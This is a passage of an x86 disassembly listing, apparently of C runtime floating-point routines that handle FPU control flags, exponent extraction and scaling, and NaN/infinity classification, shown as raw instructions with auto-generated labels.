[ebp+var_C], 800h jz short loc_42DF9E cmp [ebp+var_C], 0 jz short loc_42DFC2 cmp [ebp+var_C], 400h jz short loc_42DFB0 jmp short loc_42DFCF ; --------------------------------------------------------------------------- loc_42DF84: ; CODE XREF: sub_42DD60+208j cmp [ebp+var_C], 0C00h jz short loc_42DF8F jmp short loc_42DFCF ; --------------------------------------------------------------------------- loc_42DF8F: ; CODE XREF: sub_42DD60+22Bj mov ecx, [ebp+arg_0] mov edx, [ecx] or edx, 3 mov eax, [ebp+arg_0] mov [eax], edx jmp short loc_42DFCF ; --------------------------------------------------------------------------- loc_42DF9E: ; CODE XREF: sub_42DD60+211j mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 0FFFFFFFCh or edx, 2 mov eax, [ebp+arg_0] mov [eax], edx jmp short loc_42DFCF ; --------------------------------------------------------------------------- loc_42DFB0: ; CODE XREF: sub_42DD60+220j mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 0FFFFFFFCh or edx, 1 mov eax, [ebp+arg_0] mov [eax], edx jmp short loc_42DFCF ; --------------------------------------------------------------------------- loc_42DFC2: ; CODE XREF: sub_42DD60+217j mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 0FFFFFFFCh mov eax, [ebp+arg_0] mov [eax], edx loc_42DFCF: ; CODE XREF: sub_42DD60+222j ; sub_42DD60+22Dj ... mov ecx, [ebp+arg_4] mov edx, [ecx] and edx, 300h mov [ebp+var_10], edx cmp [ebp+var_10], 0 jz short loc_42E018 cmp [ebp+var_10], 200h jz short loc_42E006 cmp [ebp+var_10], 300h jz short loc_42DFF7 jmp short loc_42E028 ; --------------------------------------------------------------------------- loc_42DFF7: ; CODE XREF: sub_42DD60+293j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE3h mov edx, [ebp+arg_0] mov [edx], ecx jmp short loc_42E028 ; --------------------------------------------------------------------------- loc_42E006: ; CODE XREF: sub_42DD60+28Aj mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE3h or ecx, 4 mov edx, [ebp+arg_0] mov [edx], ecx jmp short loc_42E028 ; --------------------------------------------------------------------------- loc_42E018: ; CODE XREF: sub_42DD60+281j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE3h or ecx, 8 mov edx, [ebp+arg_0] mov [edx], ecx loc_42E028: ; CODE XREF: sub_42DD60+295j ; sub_42DD60+2A4j ... mov eax, [ebp+arg_C] and eax, 0FFFh shl eax, 5 mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 0FFFE001Fh or edx, eax mov eax, [ebp+arg_0] mov [eax], edx mov ecx, [ebp+arg_0] mov edx, [ecx+20h] or edx, 1 mov eax, [ebp+arg_0] mov [eax+20h], edx mov ecx, [ebp+arg_0] mov edx, [ecx+20h] and edx, 0FFFFFFE1h or edx, 2 mov eax, [ebp+arg_0] mov [eax+20h], edx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_10] mov eax, [edx] mov [ecx+10h], eax mov edx, [edx+4] mov [ecx+14h], edx mov eax, [ebp+arg_0] mov ecx, [eax+50h] or ecx, 1 mov edx, [ebp+arg_0] mov [edx+50h], ecx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE1h or ecx, 2 mov edx, [ebp+arg_0] mov [edx+50h], ecx mov eax, [ebp+arg_0] mov ecx, [ebp+arg_14] mov edx, [ecx] mov [eax+40h], edx mov ecx, [ecx+4] mov [eax+44h], ecx call sub_42EA20 lea edx, [ebp+arg_0] push edx push 1 push 0 mov eax, [ebp+var_4] push eax call near ptr 29B0000h nop mov ecx, [ebp+arg_0] mov edx, [ecx+8] shr edx, 4 and edx, 1 test edx, edx jz short loc_42E0DD mov eax, [ebp+arg_4] mov ecx, [eax] and ecx, 0FFFFFFFEh mov edx, [ebp+arg_4] mov [edx], ecx loc_42E0DD: ; CODE XREF: sub_42DD60+36Ej mov eax, [ebp+arg_0] mov ecx, [eax+8] shr ecx, 3 and ecx, 1 test ecx, ecx jz short loc_42E0F9 mov edx, [ebp+arg_4] mov eax, [edx] and al, 0FBh mov ecx, [ebp+arg_4] mov [ecx], eax loc_42E0F9: ; CODE XREF: sub_42DD60+38Bj mov edx, [ebp+arg_0] mov eax, [edx+8] shr eax, 2 and eax, 1 test eax, eax jz short loc_42E116 mov ecx, [ebp+arg_4] mov edx, [ecx] and edx, 0FFFFFFF7h mov eax, [ebp+arg_4] mov [eax], edx loc_42E116: ; CODE XREF: sub_42DD60+3A7j mov ecx, [ebp+arg_0] mov edx, [ecx+8] shr edx, 1 and edx, 1 test edx, edx jz short loc_42E132 mov eax, [ebp+arg_4] mov ecx, [eax] and ecx, 0FFFFFFEFh mov edx, [ebp+arg_4] mov [edx], ecx loc_42E132: ; CODE XREF: sub_42DD60+3C3j mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, 1 test ecx, ecx jz short loc_42E14B mov edx, [ebp+arg_4] mov eax, [edx] and al, 0DFh mov ecx, [ebp+arg_4] mov [ecx], eax loc_42E14B: ; CODE XREF: sub_42DD60+3DDj mov edx, [ebp+arg_0] mov eax, [edx] and eax, 3 mov [ebp+var_14], eax cmp [ebp+var_14], 3 ja short loc_42E1A9 mov ecx, [ebp+var_14] jmp off_42E211[ecx*4] loc_42E166: ; DATA XREF: .XComp0:0042E21Do mov edx, [ebp+arg_4] mov eax, [edx] and ah, 0F3h or ah, 0Ch mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_42E1A9 ; --------------------------------------------------------------------------- loc_42E178: ; CODE XREF: sub_42DD60+3FFj ; DATA XREF: .XComp0:0042E219o mov edx, [ebp+arg_4] mov eax, [edx] and ah, 0F3h or ah, 8 mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_42E1A9 ; --------------------------------------------------------------------------- loc_42E18A: ; CODE XREF: sub_42DD60+3FFj ; DATA XREF: .XComp0:0042E215o mov edx, [ebp+arg_4] mov eax, [edx] and ah, 0F3h or ah, 4 mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_42E1A9 ; --------------------------------------------------------------------------- loc_42E19C: ; CODE XREF: sub_42DD60+3FFj ; DATA XREF: .XComp0:off_42E211o mov edx, [ebp+arg_4] mov eax, [edx] and ah, 0F3h mov ecx, [ebp+arg_4] mov [ecx], eax loc_42E1A9: ; CODE XREF: sub_42DD60+3FAj ; sub_42DD60+416j ... mov edx, [ebp+arg_0] mov eax, [edx] shr eax, 2 and eax, 7 mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_42E1CB cmp [ebp+var_18], 1 jz short loc_42E1DD cmp [ebp+var_18], 2 jz short loc_42E1EF jmp short loc_42E1FC ; --------------------------------------------------------------------------- loc_42E1CB: ; CODE XREF: sub_42DD60+45Bj mov ecx, [ebp+arg_4] mov edx, [ecx] and dh, 0F3h or dh, 3 mov eax, [ebp+arg_4] mov [eax], edx jmp short loc_42E1FC ; --------------------------------------------------------------------------- loc_42E1DD: ; CODE XREF: sub_42DD60+461j mov ecx, [ebp+arg_4] mov edx, [ecx] and dh, 0F3h or dh, 2 mov eax, [ebp+arg_4] mov [eax], edx jmp short loc_42E1FC ; --------------------------------------------------------------------------- loc_42E1EF: ; CODE XREF: sub_42DD60+467j mov ecx, [ebp+arg_4] mov edx, [ecx] and dh, 0F3h mov eax, [ebp+arg_4] mov [eax], edx loc_42E1FC: ; CODE XREF: sub_42DD60+469j ; sub_42DD60+47Bj ... mov ecx, [ebp+arg_0] mov edx, [ebp+arg_14] mov eax, [ecx+40h] mov [edx], eax mov ecx, [ecx+44h] mov [edx+4], ecx mov esp, ebp pop ebp retn sub_42DD60 endp ; --------------------------------------------------------------------------- off_42E211 dd offset loc_42E19C ; DATA XREF: sub_42DD60+3FFr dd offset loc_42E18A dd offset loc_42E178 dd offset loc_42E166 align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E230 proc near ; CODE XREF: sub_42DBD0+12p ; .XComp0:0042DCA2p var_44 = dword ptr -44h var_40 = qword ptr -40h var_38 = qword ptr -38h var_30 = qword ptr -30h var_28 = qword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = qword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 44h mov eax, [ebp+arg_0] and eax, 1Fh mov [ebp+var_4], eax mov ecx, [ebp+arg_0] and ecx, 8 test ecx, ecx jz short loc_42E26A mov edx, [ebp+arg_8] and edx, 1 test edx, edx jz short loc_42E26A push 1 call sub_42EA80 add esp, 4 mov eax, [ebp+var_4] and al, 0F7h mov [ebp+var_4], eax jmp loc_42E56E ; --------------------------------------------------------------------------- loc_42E26A: ; CODE XREF: sub_42E230+17j ; sub_42E230+21j mov ecx, [ebp+arg_0] and ecx, 4 test ecx, ecx jz short loc_42E295 mov edx, [ebp+arg_8] and edx, 4 test edx, edx jz short loc_42E295 push 4 call sub_42EA80 add esp, 4 mov eax, [ebp+var_4] and al, 0FBh mov [ebp+var_4], eax jmp loc_42E56E ; --------------------------------------------------------------------------- loc_42E295: ; CODE XREF: sub_42E230+42j ; sub_42E230+4Cj mov ecx, [ebp+arg_0] and ecx, 1 test ecx, ecx jz loc_42E411 mov edx, [ebp+arg_8] and edx, 8 test edx, edx jz loc_42E411 push 8 call sub_42EA80 add esp, 4 mov eax, [ebp+arg_8] and eax, 0C00h mov [ebp+var_20], eax cmp [ebp+var_20], 800h ja short loc_42E2F0 cmp [ebp+var_20], 800h jz short loc_42E345 cmp [ebp+var_20], 0 jz short loc_42E302 cmp [ebp+var_20], 400h jz loc_42E385 jmp loc_42E403 ; --------------------------------------------------------------------------- loc_42E2F0: ; CODE XREF: sub_42E230+9Dj cmp [ebp+var_20], 0C00h jz loc_42E3C5 jmp loc_42E403 ; --------------------------------------------------------------------------- loc_42E302: ; CODE XREF: sub_42E230+ACj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_43F270 fnstsw ax test ah, 41h jnz short loc_42E327 mov edx, dword ptr dbl_452858 mov dword ptr [ebp+var_28], edx mov eax, dword ptr dbl_452858+4 mov dword ptr [ebp+var_28+4], eax jmp short loc_42E332 ; --------------------------------------------------------------------------- loc_42E327: ; CODE XREF: sub_42E230+E2j fld dbl_452858 fchs fstp [ebp+var_28] loc_42E332: ; CODE XREF: sub_42E230+F5j mov ecx, [ebp+arg_4] mov edx, dword ptr [ebp+var_28] mov [ecx], edx mov eax, dword ptr [ebp+var_28+4] mov [ecx+4], eax jmp loc_42E403 ; --------------------------------------------------------------------------- loc_42E345: ; CODE XREF: sub_42E230+A6j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_43F270 fnstsw ax test ah, 41h jnz short loc_42E36A mov edx, dword ptr dbl_452858 mov dword ptr [ebp+var_30], edx mov eax, dword ptr dbl_452858+4 mov dword ptr [ebp+var_30+4], eax jmp short loc_42E375 ; --------------------------------------------------------------------------- loc_42E36A: ; CODE XREF: sub_42E230+125j fld dbl_452868 fchs fstp [ebp+var_30] loc_42E375: ; CODE XREF: sub_42E230+138j mov ecx, [ebp+arg_4] mov edx, dword ptr [ebp+var_30] mov [ecx], edx mov eax, dword ptr [ebp+var_30+4] mov [ecx+4], eax jmp short loc_42E403 ; --------------------------------------------------------------------------- loc_42E385: ; CODE XREF: sub_42E230+B5j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_43F270 fnstsw ax test ah, 41h jnz short loc_42E3AA mov edx, dword ptr dbl_452868 mov dword ptr [ebp+var_38], edx mov eax, dword ptr dbl_452868+4 mov dword ptr [ebp+var_38+4], eax jmp short loc_42E3B5 ; --------------------------------------------------------------------------- loc_42E3AA: ; CODE XREF: sub_42E230+165j fld dbl_452858 fchs fstp [ebp+var_38] loc_42E3B5: ; CODE XREF: sub_42E230+178j mov ecx, [ebp+arg_4] mov edx, dword ptr [ebp+var_38] mov [ecx], edx mov eax, dword ptr [ebp+var_38+4] mov [ecx+4], eax jmp short loc_42E403 ; --------------------------------------------------------------------------- loc_42E3C5: ; CODE XREF: sub_42E230+C7j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_43F270 fnstsw ax test ah, 41h jnz short loc_42E3EA mov edx, dword ptr dbl_452868 mov dword ptr [ebp+var_40], edx mov eax, dword ptr dbl_452868+4 mov dword ptr [ebp+var_40+4], eax jmp short loc_42E3F5 ; --------------------------------------------------------------------------- loc_42E3EA: ; CODE XREF: sub_42E230+1A5j fld dbl_452868 fchs fstp [ebp+var_40] loc_42E3F5: ; CODE XREF: sub_42E230+1B8j mov ecx, [ebp+arg_4] mov edx, dword ptr [ebp+var_40] mov [ecx], edx mov eax, dword ptr [ebp+var_40+4] mov [ecx+4], eax loc_42E403: ; CODE XREF: sub_42E230+BBj ; sub_42E230+CDj ... mov ecx, [ebp+var_4] and ecx, 0FFFFFFFEh mov [ebp+var_4], ecx jmp loc_42E56E ; --------------------------------------------------------------------------- loc_42E411: ; CODE XREF: sub_42E230+6Dj ; sub_42E230+7Bj mov edx, [ebp+arg_0] and edx, 2 test edx, edx jz loc_42E56E mov eax, [ebp+arg_8] and eax, 10h test eax, eax jz loc_42E56E mov [ebp+var_8], 0 mov ecx, [ebp+arg_0] and ecx, 10h test ecx, ecx jz short loc_42E445 mov [ebp+var_8], 1 loc_42E445: ; CODE XREF: sub_42E230+20Cj mov edx, [ebp+arg_4] fld qword ptr [edx] fcomp dbl_43F270 fnstsw ax test ah, 40h jnz loc_42E54E lea eax, [ebp+var_18] push eax ; int mov ecx, [ebp+arg_4] mov edx, [ecx+4] push edx mov eax, [ecx] push eax ; double call sub_42E8C0 add esp, 0Ch fstp [ebp+var_10] mov ecx, [ebp+var_18] sub ecx, 600h mov [ebp+var_14], ecx cmp [ebp+var_14], 0FFFFFBCEh jge short loc_42E4A1 fld [ebp+var_10] fmul dbl_43F270 fstp [ebp+var_10] mov [ebp+var_8], 1 jmp loc_42E53E ; --------------------------------------------------------------------------- loc_42E4A1: ; CODE XREF: sub_42E230+257j fld [ebp+var_10] fcomp dbl_43F270 fnstsw ax test ah, 1 jz short loc_42E4BA mov [ebp+var_44], 1 jmp short loc_42E4C1 ; --------------------------------------------------------------------------- loc_42E4BA: ; CODE XREF: sub_42E230+27Fj mov [ebp+var_44], 0 loc_42E4C1: ; CODE XREF: sub_42E230+288j mov edx, [ebp+var_44] mov [ebp+var_1C], edx mov ax, word ptr [ebp+var_10+6] and ax, 0Fh mov word ptr [ebp+var_10+6], ax mov cx, word ptr [ebp+var_10+6] or cl, 10h mov word ptr [ebp+var_10+6], cx jmp short loc_42E4E9 ; --------------------------------------------------------------------------- loc_42E4E0: ; CODE XREF: sub_42E230+2FEj mov edx, [ebp+var_14] add edx, 1 mov [ebp+var_14], edx loc_42E4E9: ; CODE XREF: sub_42E230+2AEj cmp [ebp+var_14], 0FFFFFC03h jge short loc_42E530 mov eax, dword ptr [ebp+var_10] and eax, 1 test eax, eax jz short loc_42E509 cmp [ebp+var_8], 0 jnz short loc_42E509 mov [ebp+var_8], 1 loc_42E509: ; CODE XREF: sub_42E230+2CAj ; sub_42E230+2D0j mov ecx, dword ptr [ebp+var_10] shr ecx, 1 mov dword ptr [ebp+var_10], ecx mov edx, dword ptr [ebp+var_10+4] and edx, 1 test edx, edx jz short loc_42E526 mov eax, dword ptr [ebp+var_10] or eax, 80000000h mov dword ptr [ebp+var_10], eax loc_42E526: ; CODE XREF: sub_42E230+2E9j mov ecx, dword ptr [ebp+var_10+4] shr ecx, 1 mov dword ptr [ebp+var_10+4], ecx jmp short loc_42E4E0 ; --------------------------------------------------------------------------- loc_42E530: ; CODE XREF: sub_42E230+2C0j cmp [ebp+var_1C], 0 jz short loc_42E53E fld [ebp+var_10] fchs fstp [ebp+var_10] loc_42E53E: ; CODE XREF: sub_42E230+26Cj ; sub_42E230+304j mov edx, [ebp+arg_4] mov eax, dword ptr [ebp+var_10] mov [edx], eax mov ecx, dword ptr [ebp+var_10+4] mov [edx+4], ecx jmp short loc_42E555 ; --------------------------------------------------------------------------- loc_42E54E: ; CODE XREF: sub_42E230+225j mov [ebp+var_8], 1 loc_42E555: ; CODE XREF: sub_42E230+31Cj cmp [ebp+var_8], 0 jz short loc_42E565 push 10h call sub_42EA80 add esp, 4 loc_42E565: ; CODE XREF: sub_42E230+329j mov edx, [ebp+var_4] and edx, 0FFFFFFFDh mov [ebp+var_4], edx loc_42E56E: ; CODE XREF: sub_42E230+35j ; sub_42E230+60j ... mov eax, [ebp+arg_0] and eax, 10h test eax, eax jz short loc_42E595 mov ecx, [ebp+arg_8] and ecx, 20h test ecx, ecx jz short loc_42E595 push 20h call sub_42EA80 add esp, 4 mov edx, [ebp+var_4] and edx, 0FFFFFFEFh mov [ebp+var_4], edx loc_42E595: ; CODE XREF: sub_42E230+346j ; sub_42E230+350j xor eax, eax cmp [ebp+var_4], 0 setz al mov esp, ebp pop ebp retn sub_42E230 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42E5B0(int,int,int,int,int,int,double,int) sub_42E5B0 proc near ; CODE XREF: sub_42DB00+2Ap ; .XComp0:0042DB9Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_4] push eax call sub_42E690 add esp, 4 mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_42E627 mov ecx, [ebp+arg_0] mov [ebp+var_20], ecx mov edx, [ebp+arg_8] mov [ebp+var_18], edx mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov ecx, [ebp+arg_10] mov [ebp+var_10], ecx mov edx, [ebp+arg_14] mov [ebp+var_C], edx mov eax, dword ptr [ebp+arg_18] mov dword ptr [ebp+var_8], eax mov ecx, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], ecx push 0FFFFh mov edx, [ebp+arg_20] push edx call sub_42EA40 add esp, 8 lea eax, [ebp+var_20] push eax call sub_4349A0 add esp, 4 test eax, eax jnz short loc_42E622 mov ecx, [ebp+arg_0] push ecx call sub_42E650 add esp, 4 loc_42E622: ; CODE XREF: sub_42E5B0+64j fld [ebp+var_8] jmp short loc_42E647 ; --------------------------------------------------------------------------- loc_42E627: ; CODE XREF: sub_42E5B0+19j push 0FFFFh mov edx, [ebp+arg_20] push edx call sub_42EA40 add esp, 8 mov eax, [ebp+arg_0] push eax call sub_42E650 add esp, 4 fld [ebp+arg_18] loc_42E647: ; CODE XREF: sub_42E5B0+75j mov esp, ebp pop ebp retn sub_42E5B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E650 proc near ; CODE XREF: sub_42DBD0+92p ; .XComp0:0042DD3Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax cmp [ebp+var_4], 1 jz short loc_42E66E cmp [ebp+var_4], 1 jle short loc_42E686 cmp [ebp+var_4], 3 jle short loc_42E67B jmp short loc_42E686 ; --------------------------------------------------------------------------- loc_42E66E: ; CODE XREF: sub_42E650+Ej call sub_42C1E0 mov dword ptr [eax], 21h jmp short loc_42E686 ; --------------------------------------------------------------------------- loc_42E67B: ; CODE XREF: sub_42E650+1Aj call sub_42C1E0 mov dword ptr [eax], 22h loc_42E686: ; CODE XREF: sub_42E650+14j ; sub_42E650+1Cj ... mov esp, ebp pop ebp retn sub_42E650 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E690 proc near ; CODE XREF: sub_42E5B0+Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_42E6A6 ; --------------------------------------------------------------------------- loc_42E69D: ; CODE XREF: sub_42E690:loc_42E6C7j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_42E6A6: ; CODE XREF: sub_42E690+Bj cmp [ebp+var_4], 1Bh jge short loc_42E6C9 mov ecx, [ebp+var_4] mov edx, dword_452780[ecx*8] cmp edx, [ebp+arg_0] jnz short loc_42E6C7 mov eax, [ebp+var_4] mov eax, off_452784[eax*8] jmp short loc_42E6CB ; --------------------------------------------------------------------------- loc_42E6C7: ; CODE XREF: sub_42E690+29j jmp short loc_42E69D ; --------------------------------------------------------------------------- loc_42E6C9: ; CODE XREF: sub_42E690+1Aj xor eax, eax loc_42E6CB: ; CODE XREF: sub_42E690+35j mov esp, ebp pop ebp retn sub_42E690 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E6D0 proc near ; CODE XREF: sub_42DBD0+4Ap ; .XComp0:0042DCF2p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] and eax, 20h test eax, eax jz short loc_42E6E7 mov [ebp+var_4], 5 jmp short loc_42E73A ; --------------------------------------------------------------------------- loc_42E6E7: ; CODE XREF: sub_42E6D0+Cj mov ecx, [ebp+arg_0] and ecx, 8 test ecx, ecx jz short loc_42E6FA mov [ebp+var_4], 1 jmp short loc_42E73A ; --------------------------------------------------------------------------- loc_42E6FA: ; CODE XREF: sub_42E6D0+1Fj mov edx, [ebp+arg_0] and edx, 4 test edx, edx jz short loc_42E70D mov [ebp+var_4], 2 jmp short loc_42E73A ; --------------------------------------------------------------------------- loc_42E70D: ; CODE XREF: sub_42E6D0+32j mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_42E720 mov [ebp+var_4], 3 jmp short loc_42E73A ; --------------------------------------------------------------------------- loc_42E720: ; CODE XREF: sub_42E6D0+45j mov ecx, [ebp+arg_0] and ecx, 2 test ecx, ecx jz short loc_42E733 mov [ebp+var_4], 4 jmp short loc_42E73A ; --------------------------------------------------------------------------- loc_42E733: ; CODE XREF: sub_42E6D0+58j mov [ebp+var_4], 0 loc_42E73A: ; CODE XREF: sub_42E6D0+15j ; sub_42E6D0+28j ... mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42E6D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E750 proc near ; CODE XREF: .XComp0:0042E7E9p ; sub_42E8C0+ECp ... var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov dword ptr [ebp+var_C], eax mov ecx, [ebp+arg_4] mov dword ptr [ebp+var_C+4], ecx mov edx, [ebp+arg_8] add edx, 3FEh mov [ebp+var_4], edx mov eax, [ebp+arg_4+2] and eax, 0FFFFh and eax, 800Fh mov ecx, [ebp+var_4] shl ecx, 4 or eax, ecx mov word ptr [ebp+var_C+6], ax fld [ebp+var_C] mov esp, ebp pop ebp retn sub_42E750 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, [ebp+0Eh] and eax, 0FFFFh and eax, 7FF0h sar eax, 4 mov [ebp-4], ax mov cx, [ebp-4] sub cx, 3FEh mov [ebp-4], cx movsx eax, word ptr [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+0Eh] and eax, 0FFFFh and eax, 7FF0h sar eax, 4 movsx ecx, ax mov edx, [ebp+10h] lea eax, [ecx+edx-3FEh] push eax mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+8] push edx call sub_42E750 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+8] mov [ebp-8], eax mov ecx, [ebp+0Ch] mov [ebp-4], ecx mov edx, [ebp+0Eh] and edx, 0FFFFh and edx, 800Fh mov eax, [ebp+10h] shl eax, 4 or edx, eax mov [ebp-2], dx fld qword ptr [ebp-8] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E840 proc near ; CODE XREF: sub_422F50+3Fp ; sub_423170+3Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_4], 7FF00000h jnz short loc_42E859 cmp [ebp+arg_0], 0 jnz short loc_42E859 mov eax, 1 jmp short loc_42E8BA ; --------------------------------------------------------------------------- loc_42E859: ; CODE XREF: sub_42E840+Aj ; sub_42E840+10j cmp [ebp+arg_4], 0FFF00000h jnz short loc_42E86F cmp [ebp+arg_0], 0 jnz short loc_42E86F mov eax, 2 jmp short loc_42E8BA ; --------------------------------------------------------------------------- loc_42E86F: ; CODE XREF: sub_42E840+20j ; sub_42E840+26j mov eax, [ebp+arg_4+2] and eax, 0FFFFh and eax, 7FF8h cmp eax, 7FF8h jnz short loc_42E88A mov eax, 3 jmp short loc_42E8BA ; --------------------------------------------------------------------------- loc_42E88A: ; CODE XREF: sub_42E840+41j mov ecx, [ebp+arg_4+2] and ecx, 0FFFFh and ecx, 7FF8h cmp ecx, 7FF0h jnz short loc_42E8B8 mov edx, [ebp+arg_4] shl edx, 0Dh test edx, edx jnz short loc_42E8B1 cmp [ebp+arg_0], 0 jz short loc_42E8B8 loc_42E8B1: ; CODE XREF: sub_42E840+69j mov eax, 4 jmp short loc_42E8BA ; --------------------------------------------------------------------------- loc_42E8B8: ; CODE XREF: sub_42E840+5Fj ; sub_42E840+6Fj xor eax, eax loc_42E8BA: ; CODE XREF: sub_42E840+17j ; sub_42E840+2Dj ... pop ebp retn sub_42E840 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42E8C0(double,int) sub_42E8C0 proc near ; CODE XREF: sub_42E230+239p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h fld [ebp+arg_0] fcomp dbl_43F270 fnstsw ax test ah, 40h jz short loc_42E8F0 mov dword ptr [ebp+var_C], 0 mov dword ptr [ebp+var_C+4], 0 mov [ebp+var_4], 0 jmp loc_42E9EA ; --------------------------------------------------------------------------- loc_42E8F0: ; CODE XREF: sub_42E8C0+14j mov eax, dword ptr [ebp+arg_0+6] and eax, 0FFFFh and eax, 7FF0h test eax, eax jnz loc_42E9B9 mov ecx, dword ptr [ebp+arg_0+4] shl ecx, 0Ch test ecx, ecx jnz short loc_42E919 cmp dword ptr [ebp+arg_0], 0 jz loc_42E9B9 loc_42E919: ; CODE XREF: sub_42E8C0+4Dj mov [ebp+var_4], 0FFFFFC03h fld [ebp+arg_0] fcomp dbl_43F270 fnstsw ax test ah, 1 jz short loc_42E939 mov [ebp+var_14], 1 jmp short loc_42E940 ; --------------------------------------------------------------------------- loc_42E939: ; CODE XREF: sub_42E8C0+6Ej mov [ebp+var_14], 0 loc_42E940: ; CODE XREF: sub_42E8C0+77j mov edx, [ebp+var_14] mov [ebp+var_10], edx loc_42E946: ; CODE XREF: sub_42E8C0+C3j mov eax, dword ptr [ebp+arg_0+6] and eax, 0FFFFh and eax, 10h test eax, eax jnz short loc_42E985 mov ecx, dword ptr [ebp+arg_0+4] shl ecx, 1 mov dword ptr [ebp+arg_0+4], ecx mov edx, dword ptr [ebp+arg_0] and edx, 80000000h test edx, edx jz short loc_42E972 mov eax, dword ptr [ebp+arg_0+4] or al, 1 mov dword ptr [ebp+arg_0+4], eax loc_42E972: ; CODE XREF: sub_42E8C0+A8j mov ecx, dword ptr [ebp+arg_0] shl ecx, 1 mov dword ptr [ebp+arg_0], ecx mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp short loc_42E946 ; --------------------------------------------------------------------------- loc_42E985: ; CODE XREF: sub_42E8C0+93j mov ax, word ptr [ebp+arg_0+6] and ax, 0FFEFh mov word ptr [ebp+arg_0+6], ax cmp [ebp+var_10], 0 jz short loc_42E9A2 mov cx, word ptr [ebp+arg_0+6] or ch, 80h mov word ptr [ebp+arg_0+6], cx loc_42E9A2: ; CODE XREF: sub_42E8C0+D5j push 0 mov edx, dword ptr [ebp+arg_0+4] push edx mov eax, dword ptr [ebp+arg_0] push eax call sub_42E750 add esp, 0Ch fstp [ebp+var_C] jmp short loc_42E9EA ; --------------------------------------------------------------------------- loc_42E9B9: ; CODE XREF: sub_42E8C0+3Fj ; sub_42E8C0+53j push 0 mov ecx, dword ptr [ebp+arg_0+4] push ecx mov edx, dword ptr [ebp+arg_0] push edx call sub_42E750 add esp, 0Ch fstp [ebp+var_C] mov eax, dword ptr [ebp+arg_0+6] and eax, 0FFFFh and eax, 7FF0h sar eax, 4 movsx ecx, ax sub ecx, 3FEh mov [ebp+var_4], ecx loc_42E9EA: ; CODE XREF: sub_42E8C0+2Bj ; sub_42E8C0+F7j mov edx, [ebp+arg_8] mov eax, [ebp+var_4] mov [edx], eax fld [ebp+var_C] mov esp, ebp pop ebp retn sub_42E8C0 